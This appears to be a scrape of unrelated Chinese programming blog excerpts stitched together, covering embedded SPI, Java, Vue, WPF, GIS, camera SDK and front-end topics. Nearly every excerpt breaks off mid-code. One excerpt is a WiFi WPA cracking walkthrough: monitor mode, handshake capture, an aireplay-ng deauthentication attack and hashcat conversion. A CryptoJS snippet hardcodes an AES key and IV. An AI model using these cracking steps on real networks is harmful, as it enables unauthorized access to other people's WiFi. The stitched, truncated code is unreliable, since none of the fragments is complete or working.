以下是STM32G4系列的参考手册的“自我介绍”:
This reference manual targets application developers. It provides complete information on how to use the STM32G4 Series microcontroller memory and peripherals.
本参考手册的目标是应用程序开发人员。 它提供了关于的完整信息如何使用STM32G4系列单片机的内存和外设。 SPI相关设置 我们以STM32G系列为例,直接翻到SPI章节,SPI结构示意图如下:
一共4个引脚可与外设连接:
MISO(Master In / Slave Out data):该引脚在从模式下发送数据,在主模式下接收数据MOSI(Master Out / Slave In data):该引脚在主模式下发送数据,在从模式下接收数据SCK(Serial Clock):主设备往从设备传输的时钟信号NSS(Slave select):用于主设备选择从设备 单个主设备与单个从设备全双工通信模式示意图如下:
我们采用STM32CubeMX可以方便的完成基础配置,实际只需要编写如下实际通讯需要的代码
基础通讯代码 Tx:发送缓冲区;Rx:接收缓冲区;DR:数据寄存器
状态指示标志:
Tx buffer empty flag (TXE):发送缓冲区为空Rx buffer not empty (RXNE):接收缓冲区非空Busy flag (BSY):SPI数据正在传输中 基本工作原理:主机向从机发送一个值(指令),然后从机依据接收到的指令返回一个值
常见情况我们用STM32作为主机
等待TXE标志置1(Tx空),表明此时发送缓冲区Tx中无待发送的值将数据写入SPIx_DR寄存器,对DR的写操作将把数据写入Tx末尾等待BSY标志置0(即busy,置1表明Tx中的数据正在传输中)。期间数据通过MOSI发送给从机,从机返回的信息通过MISO回到主机接收缓冲区Rx等待RXNE标志置1(Rx非空),表明此时Rx存在接收到的值读取SPIx_DR寄存器,对DR的读操作将返回Rx中最早的值 // data_in:待发送的值 // data_out:接收到的值 static int spi_transmit_receive(uint16_t data_in, uint16_t *data_out){ int state = 0; *data_out = 0; uint32_t timeout_cnt; static const uint32_t timeout_cnt_num = 10000; // Wait until TXE flag is set to send data timeout_cnt = 0; while(!
前言: java中删除list某个元素有很多方法,也是很常见的需求,今天就来看看具体有那些方法。
1.Java中删除list中的某个元素方法如下: 2.运行结果截图: 3.完整代码如下: package example; import java.util.ArrayList; import java.util.Iterator; import java.util.List; public class RemoveListTest { public static void main(String[] args){ List<Book> list = new ArrayList<>(); Book book1 = new Book(); Book book2 = new Book(); Book book3 = new Book(); Book book4 = new Book(); Book book5 = new Book(); book1.setName("张三"); book2.setName("李四"); book3.setName("王五"); book4.setName("赵6"); book5.setName("合和"); list.add(book1); list.add(book2); list.add(book3); list.add(book4); list.add(book5); //1.使用迭代器删除集合中某一元素值 Iterator<Book> iterator = list.iterator(); while(iterator.
概况 vue3.0新特性有:
1、性能比vue2.x块1.2~2倍;
2、支持tree-shaking;
3、引入了Composition API;
4、暴露了自定义渲染API;
5、新增三个组件(Fragment、Teleport、Suspense)等。
vue3 带来的六大新特性 Performance:性能比vue2.x块1.2~2倍Tree shaking support:支持按需编译,体积更小Composition API:组合API,类似React HooksCustom Renderer API:暴露了自定义渲染APIFragment,Teleport(Protal),Suspense:新增三个组件Better TypeScript support:更好的支持TS Performance
Vue3.0在性能方面比Vue2.x快了1.2~2倍。
重写虚拟DOM的实现
运行时编译
静态提升与事件侦听器缓存
SSR 速度提高
Three-shaking support
Vue3.x中的核心API都支持tree-shaking,这些API都是通过包引入的方式而不是直接在实例化时就注入,只会对使用到的功能或特性进行打包(按需打包),这意味着更多的功能和更小的体积。
Composition API
Vue2.x中,我们通常采用mixin来复用逻辑代码,使用起来虽然方便,但也存在一些问题:代码来源不清晰、方法属性可能出现冲突。因此,Vue3.x引入了Composition API(组合API),使用纯函数分割复用代码。和React Hooks的概念相似。
更好的逻辑复用和代码组织
更好的类型推导
Fragment、Teleport、Suspense
新增三个组件。
Fragment
在书写Vue2.x时,由于组件必须是一个根结点,很多时候会添加一些没有意义的节点用于包裹。Fragment组件就是用于解决这个问题的(这和React 中的Fragment组件是一样的)。
Teleport
Teleport其实就是React中的Portal。Portal 提供了一种将子节点渲染到存在于父组件以外的 DOM 节点的优秀的方案。
一个 portal 的典型用例是当父组件有 overflow: hidden 或 z-index
样式时,但你需要子组件能够在视觉上“跳出”其容器。例如,对话框、悬浮卡以及提示框。
Suspense
同样的,这和React中的Supense是一样的。
Suspense 让你的组件在渲染之前进行“等待”,并在等待时显示 fallback 的内容。
Better TypeScript support
Vue3.x采用TypeScript重写,开发者使用Vue3.x时可以充分体验TS给编码带来的便利。
Custom Renderer API
这个API定义了虚拟DOM的渲染规则,这意味着使用自定义API可以达到跨平台的目的。
最后:Vue3.0 是如何变快的?
源码获取:博客首页 "资源" 里下载! 项目介绍 该项目分为管理员与读者两种角色,主要功能有:
1. 登录、注销、修改密码
2. 管理员主要功能包括:图书管理、读者管理、借还管理。对图书信息的增删改查、查看读者、查看借阅记录等;
3. 读者对图书信息的查看查询、修改个人信息、查看借阅记录
共7张表;
环境需要 1.运行环境:最好是java jdk 1.8,我们在这个平台上运行的。其他版本理论上也可以。
2.IDE环境:IDEA,Eclipse,Myeclipse都可以。推荐IDEA;
3.tomcat环境:Tomcat 7.x,8.x,9.x版本均可
4.硬件环境:windows 7/8/10 1G内存以上;或者 Mac OS;
5.是否Maven项目: 是;查看源码目录中是否包含pom.xml;若包含,则为maven项目,否则为非maven项目
6.数据库:MySql 8.0版本;
技术栈 数据库:mysql5.7
后端框架: SpringBoot
HTML模板: ThymeLeaf
持久层: Mybatis
UI: Bootstrap
登录验证和用户权限: SpringSecurity
使用说明 本项目使用maven进行管理,详细安装教程自行百度
1. 需下载mysql图形化管理工具(例如Navicat),新建数据库library,右键数据库-->运行项目中的library.sql脚本
2. 打开项目(idea或eclipse皆可,但需配置好maven环境),打开src/main/resources/application.yml,将数据库的username和password修改成你自己的mysql的用户名和密码
3. 找到BookmanagerApplication类运行main方法,打开浏览器,网址栏输入localhost:8080访问系统
4. 如果不想用IDE打开项目而是想直接运行的朋友们,在目录下打开cmd键入mvn package命令,然后在target/目录下会生成对应的jar包,在cmd用“java -jar jar包名”运行即可
注意事项 1. 高版本mysql在登录时可能会报空指针错误,出现问题的建议安装并使用mysql5.7版本
用户管理控制层: /** * @Description 用户管理 * @Author by yy */ @Api(tags = "用户管理") @RestController @RequestMapping("
海康工业相机参数设置与获取 通用接口介绍常见相机参数设置获取Int型参数-图像宽度、图像高度Enum型参数-图像格式、触发模式设置float 型参数-曝光、增益设置string型参数-用户名称Command型参数-软触发、参数保存命令 通用接口介绍 拿到海康工业相机之后,通过其官方提供的MVS客户端,我们可以设置相关相机参数,来调整图像,达到我们想要的效果,但是如此众多的相机参数,我们该如何集成进入我们软件呢
从查询SDK文档中,可以发现,他们提供了一套通用接口,来对相机进行参数获取与设置
通用接口把相机参数,分成六大类,除command参数外,每一类提供Set/Get接口来设置与获取相关节点
类型描述Int整数型参数Enum枚举型参数float浮点型参数bool布尔型参数string字符串型参数Command命令型参数以MV_CC_GeIntValue为例:代码示例,获取 Width: //获取int型参数 MVCC_INTVALUE struIntValue = {0}; nRet = MV_CC_GetIntValue(handle, "Width", &struIntValue); if (MV_OK != nRet) { printf("error: GetIntValue fail [%x]\n", nRet); return; } 这里的第二个参数“Width”,作为整个接口的关键参数,文档中,告知我们要去查找xml属性表,然后对着查表进行参数设置,xml表如下所示:
功能名称(GetNode: key参数)数据类型数值范围定义访问模式描述Image Format ControlWidthIInteger>0R/(W)ROI的宽 注意:海康目前以不再维护更新表格,且表格不再对外提供
通过查表,我们可以知道key值该填什么,key值的属性是什么,但是,这样子太慢啦,我怎么知道我调的参数,在xml表的什么位置呢
通过观察MVS客户端,有一个更简单的方法能够知道相机参数的属性,类型等,可以快速方便的对参数进行操作
在MVS中找到自己想要的参数,鼠标选中它,在MVS右下角,参数描述中,能看看该参数的节点名、类型、取值范围、步进等信息
上图可知,图像宽度“Width”,其节点名为“Width”,类型是“int”,取值范围是32~2048,步进是16;
根据类型,我们就可以选用MV_CC_SetIntValue/MV_CC_GetIntValue来对该属性进行操作;
还需注意以下两点:不同的相机参数有不同的类型,取值范围与步进不同的相机,相同的参数,有不同的取值范围与步进 常见相机参数设置获取 Int型参数-图像宽度、图像高度 //获取int型参数-Width值 MVCC_INTVALUE struIntValue = {0}; nRet = MV_CC_GetIntValue(handle, "Width", &struIntValue); if (MV_OK != nRet) { printf("error: GetIntValue fail [%x]\n", nRet); } //打印当前宽度,宽带最大值,最小值,步进 printf("Width;%d,Width_Max:%d,Width_min:%d,Width_Inc:%d\n", struIntValue.nCurValue,struIntValue.nMax,struIntValue.nMin,struIntValue.nInc); //设置int型参数-Width值 unsigned int nValue = 752; //注意点1:value值需要是步进值的整数倍,否则会失败 //注意点2:宽度、高度等参数设置时,只有在MV_CC_Startgrab接口调用前才能设置,取流过程中,不能修改宽高 //注意点3:宽度、高度等参数设置时,若有Offset X、Y偏移,应当先调用相关接口,将偏移量置0 nRet = MV_CC_SetIntValue(handle, "
1. 一定要掌握对应需求在官网中查询信息的能力,比如说要加载图层那么就需要对应到api reference下的layers下对应查找API Referencehttps://developers.arcgis.com/javascript/latest/api-reference/
2. 加载矢量图层,显示本地地图服务(FeatureLayer)
引入featurelayer库
require(["esri/layers/FeatureLayer"], (FeatureLayer) => { /* code goes here */ });
创建FeatureLayer,下面代码中的url需替换成自己的本地地图服务
var pointLayer= new FeatureLayer({
url: "http://localhost:6080/arcgis/rest/services/hubei/湖北/MapServer/0"
});
将图层加载到地图中显示
map.add(pointLayer);
3. 加载栅格图层,显示本地栅格地图服务(MapImageLayer)
引入MapImageLayer模块
require(["esri/layers/MapImageLayer"], (MapImageLayer) => { /* code goes here */ });
创建栅格图层,url自行替换
const RasterLayer = new MapImageLayer({
url: " http://localhost:6080/arcgis/rest/services/raster/raster/MapServer"
});
将栅格图层加载到地图中
map.add(RasterLayer);
4. 完整html代码附上(代码中添加了指北针、home键,搜索控件等可在API Reference->widgets下自行查找需要的控件)
<!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="initial-scale=1,maximum-scale=1,user-scalable=no" /> <title> 实例一 </title> <link rel="
WPF Prism(一)Region
WPF Prism(二)Module
WPF Prism(三)ViewModelLocator
WPF Prism(四)MVVM
WPF Prism(五)Navigation
WPF Prism(六)Dialog
一、什么是Region 在Prism当中,一个页面我们可以不再为其固定显示的内容,而这种概念变成了区域(Region)划分的概念。将页面显示的区域划分成N个Region,每一个Region将动态分配区域。它将负责承担我们的UI组件或者控件。
二、RegionManager类 RegionManager IRegionManager + IRegionCollection Regions +IRegionManager AddToRegion(string regionName, object view) +RegisterViewWithRegion(string regionName, Type viewType) RegionManager功能
维护区域集合提供对区域的访问合成视图区域导航定义区域 三、使用RegionManager 首先,我们需要将MainWindow的构造函数传入IRegionManager参数:
public partial class MainWindow : Window { public MainWindow(IRegionManager regionManager) { InitializeComponent(); } } 注意:因为MainWindow对象是我们在App类中使用容器解析得到的,那么它需要的依赖IRegion也会自动被创建,不需要我们自己创建。
在定义视图与Region之间的映射关系之前我们需要先定义Region,定义Region有两种方法:
3.1、在xaml中 <Window xmlns:prism="http://prismlibrary.com/" Title="Shell"> <Grid> <Grid.RowDefinitions> <RowDefinition Height="0.2*" /> <RowDefinition /> </Grid.RowDefinitions> <ContentControl Grid.Row="0" prism:RegionManager.RegionName="HeaderRegion" /> </Grid> </Window> 代码有省略,重点关注需要引入prism命名空间。
3.2、在cs文件中 <ContentControl x:Name="
URL 的编码和解码 1 什么是 URL? URL(Uniform Resource Locator):统一资源定位符,它是用来表示互联网上的某个资源地址,互联网上的每个文件都有一个唯一的 URL,它包含的信息指出文件的位置以及浏览器应该怎么处理它。
URL 一般由三部组成:
协议(或称为服务方式)。存有该资源的主机 IP 地址(有时也包括端口号)。主机资源的具体地址。如目录和文件名等。 // 语法格式 // protocol://hostname[:port]/path[?query][#fragment] // 例子 // http://root@localhost:8080/appname/path?name=admin&password=666#fragment 2 为什么要进行 URL 编码? 在 URL 地址中,不允许出现非 ASCII 字符,如果 URL 地址中需要包含中文字符,就必须对中文字符进行编码(转义)。
在 URL 参数字符串中用 key=value 这种键值对的形式进行传递参数,多个键值对中间用 & 连接。如果在 value 中也存在 & 这个符号的话,不对其进行编码,就会引起歧义。
3 URL 与 URI 3.1 什么是 URI? URI(Uniform Resource Identifier):统一资源标识符,用来唯一的标识一个资源。Web 上可用的每种资源如 HTML 文档、图像、视频片段、程序等都是一个来 URI 来定位的。
格式如下:
// [协议名]://[用户名]:[密码]@[服务器地址]:[服务器端口号]/[路径]?[查询字符串]#[片段ID] 3.2 URL 与 URI 之间的区别及联系 URI:统一资源标识符,URL:统一资源定位符。URI 包括 URL ,也就是说 URL 是 URI 的子集。能唯一标识一个资源的就是 URI,在 URI 的基础上再给出其资源的访问方式的就是 URL。 4 URL 编码 3.
Apache EChartsz
问题描述
在页面中进行tab切换时,tabA切换至tabB又回到tabA后,原tabA中的表格无法被渲染出来
解决方法
在tab切换时,重新渲染echarts,且需在nextTick后渲染,否则此时div还未渲染出来,会报错;
出现 invalid dom. 的错误信息,表格无法被渲染
this.$nextTick(() => { //图表 })
严重声明:CPU加速都是幌子,aricrack-ng也用CPU
目录
一.hashcat介绍
二.破解方式
1.查看网卡
2.开启监听模式
3.扫描wifi
4.抓包保存
5.冲突模式攻击
6.重新连接wifi
7.生成hccap文件
8.破解
9.再次查看密码
10.删除之前破解成功的记录
11.使用大字典
一.hashcat介绍 Hashcat系列软件使比较牛逼的密码破解软件,HashCat主要分为三个版本,Hashcat,oclHashcat-plus,oclHashcat-lite
这三个版本的主要区别是:
HashCat只支持CPU破解。
oclHashcat-plus支持使用GPU破解多个HASH,并且支持的算法高达77种
oclHashcat-lite只支持使用GPU对单个HASH进行破解,支持的HASH种类仅有32种,但是对算法进行了优化,可以达到GPU破解的最高速度。
如果只有单个密文进行破解的话,推荐使用orlHashCat-lite
二.破解方式 1.查看网卡 ip a 2.开启监听模式 airmon-ng start wlan0 3.扫描wifi airodump-ng wlan0mon 4.抓包保存 airodump-ng wlan0mon -c 1 --bssid ?? -w wpa-1 5.冲突模式攻击 aireplay-ng -0 5 -a ?? -c ?? wlan0mon 6.重新连接wifi 客户端重新连接wifi,握手包被抓取到
7.生成hccap文件 aircrack-ng wpa-1-01.cap -j wpajaccap 参数说明 : -j <file>:create Hashcat v3.6+ file(HCCAPX) -J <file>: create Hashcat file(HCCAP) 8.
const CryptoJS = require("crypto-js"); // CBC const key = CryptoJS.enc.Utf8.parse("qsc6d2ir3asvhfer"); // CBC使用16位加密 const iv = CryptoJS.enc.Utf8.parse("okmcs9v4a2sd2g1e"); /** * 解密方法 * @param {*} word * @returns */ function Decrypt(word) { let decrypt = CryptoJS.AES.decrypt(word, key, { iv: iv, mode: CryptoJS.mode.CBC, padding: CryptoJS.pad.Pkcs7, }); let decryptedStr = decrypt.toString(CryptoJS.enc.Utf8); return decryptedStr.toString(); } /** * 加密方法 * @param {*} word * @returns */ function Encrypt(word) { let encrypted = CryptoJS.AES.encrypt(word, key, { iv: iv, mode: CryptoJS.
文章目录 一、element ui二次封装的优缺点二、element ui二次封装的过程及原理三、效果示例1.视频2.图片 四、代码编写1.可复用的子组件主界面TableContainer2.可复用的子组件弹窗TableDialog3.UserCon父组件引用实例 总结 一、element ui二次封装的优缺点 优点:组件复用性高,利于后期维护。在封装好后能极大提高开发效率,适合用于后台管理系统、页面繁多或具有多个及其相似的页面工厂系统里。
缺点:封装过程较难,封装后的页面较为单一,如不写注释代码可读性较差,不适合用于具有变化多、逻辑复杂的页面的系统。
二、element ui二次封装的过程及原理 主要以父传子的形式实现,将需要复用的组件进行封装成子组件,子组件内主要负责页面的展示,Props接收父组件传来的值,将需要进行的逻辑操$emit给父组件。父组件引入子组件并向子组件内传入不同的值,使页面显示不同的文字描述,接收子组件传来的值编写函数来进行逻辑操作。
主界面封装:将element ui中的表格Table、分页Pagination、Input输入框、Select搜索框等放进一个组件内,在props里定义好要从父组件接收的值,在函数里定义好 $emit传给父组件的值。
弹窗封装:将element ui中的对话框Dialog、表单Form、上传Upload等放进一个组件内,在props里定义好要从父组件接收的值,在函数里定义好 $emit传给父组件的值。
三、效果示例 1.视频 封装界面实例
2.图片 四、代码编写 1.可复用的子组件主界面TableContainer <template> <div> <!-- 顶部按钮部分 --> <div class="Top"> <div v-if="TopBtu" class="top_btu"> <el-button v-for="(item, index) in TopBtu" :key="index" :type="item.type" :icon="item.icon" size="small" @click="cast(item.incident)" >{{ item.label }}</el-button > </div> <!-- 搜索框部分 --> <div class="searchK" v-if="searchK"> <el-form :model="searchform" ref="searchform" label-width="100px"> <div class="searchinput"> <el-form-item v-for="(item, index) in searchK" :key="index" :label="item.label" :prop="
1.以实时显示时间为例简单介绍Timer的使用 根据目前所了解到的资料,MATLAB调用多线程较为麻烦,并且类似parfor等语法只适用于大规模运算,而不适合两个独立的、需要并行的任务。这时,我们就需要使用Timer变量来实现多线程的效果。在这一小节中,我们以最基本的功能——实时显示当前时间——为例,介绍Timer变量的使用。显而易见,我们需要显示时间的功能代码自主运行,隔一定时间获取当前时间并显示,且不干扰其他任务的运行。
1.首先,在properties中添加一个定时器变量:
properties (Access = public) ser; % Serial serialname; model; % To store the model data baud = 115200; % baud rate datetimer; % To show time SerialData; end 我们使用datetimer创建一个Timer变量,来实现实时显示时间的功能。
2.在常用控件中找到“标签”控件,将其拖拽进画布,并在控件树中将其命名为“ShowTimeLabel”:
注意,蓝色框框出的Label的属性“Text”即为该标签显示在画布上的内容。在Timer回调函数中,我们需要调用这一属性并给它赋值,实现显示时间的效果。
3.关于Timer变量的创建和回调函数的编写,我将放在下一节StartupFcn回调进行说明。
2.StartupFcn回调(以实时显示时间为例,结合第1节) 有些功能我们需要在App启动的时候就将其开启,例如实时显示时间的功能。这时,我们需要使用StartupFcn回调函数来实现。
1.添加StartupFcn回调:在控件树中找到最高层级(也就是我们的.mlapp工程),右键单击,找到“回调”,点击“添加StartupFcn回调”,如下图所示:
2.转到代码视图:
在这个白色代码块里,我们就可以添加我们的功能代码了。
3.创建定时器变量并开启定时器
首先,我们需要创建定时器变量,并配置它的一些基本属性。在StartupFcn回调函数中,添加如下代码:
% Code that executes after component creation function startupFcn(app) % 删除现存的定时器变量。这个函数也可以用来关闭定时器 delete(timerfind); % 配置并开启显示时间的定时器 app.datetimer = timer; % 开启定时器代码运行后,延时1s再调用回调函数 app.datetimer.StartDelay = 1; % 定时器每隔1s调用一次回调函数 app.datetimer.Period = 1; % 定时器的工作模式,读者可参考官方文档查阅不同模式的区别。此模式下,定时器会循环运行 app.
1.在项目中安装file saver和xlsx库,如下:
npm install --save xlsx file-saver 2.在有下载功能的组件上,加入引用
import { saveAs } from "file-saver"; import XLSX from "xlsx"; 3.使用table_to_book方式导出。该方式需要在导出的数据所在的table有唯一标识符,如id
<template> <div> <el-button type="" @click="downloadData()">下载</el-button> <el-table :data="tableData" height="400" id="download"> //id作为唯一标识,用于下载数据 <el-table-column type="selection" width="50" v-if="showColumn == true" :key="Math.random()" ></el-table-column> <el-table-column label="序号" prop="id" v-else :key="Math.random()" ></el-table-column> <el-table-column label="英文名" prop="value"></el-table-column> <el-table-column label="中文名" prop="label"></el-table-column> </el-table> <el-button plain style="width:100px" @click="showColumn = true" >显示</el-button > <el-button plain style="width:100px" @click="showColumn = false" >隐藏</el-button > </div> </template> 4.js下载数据代码如下